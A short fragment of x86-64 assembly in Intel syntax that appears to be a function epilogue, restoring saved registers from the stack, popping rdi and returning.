mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret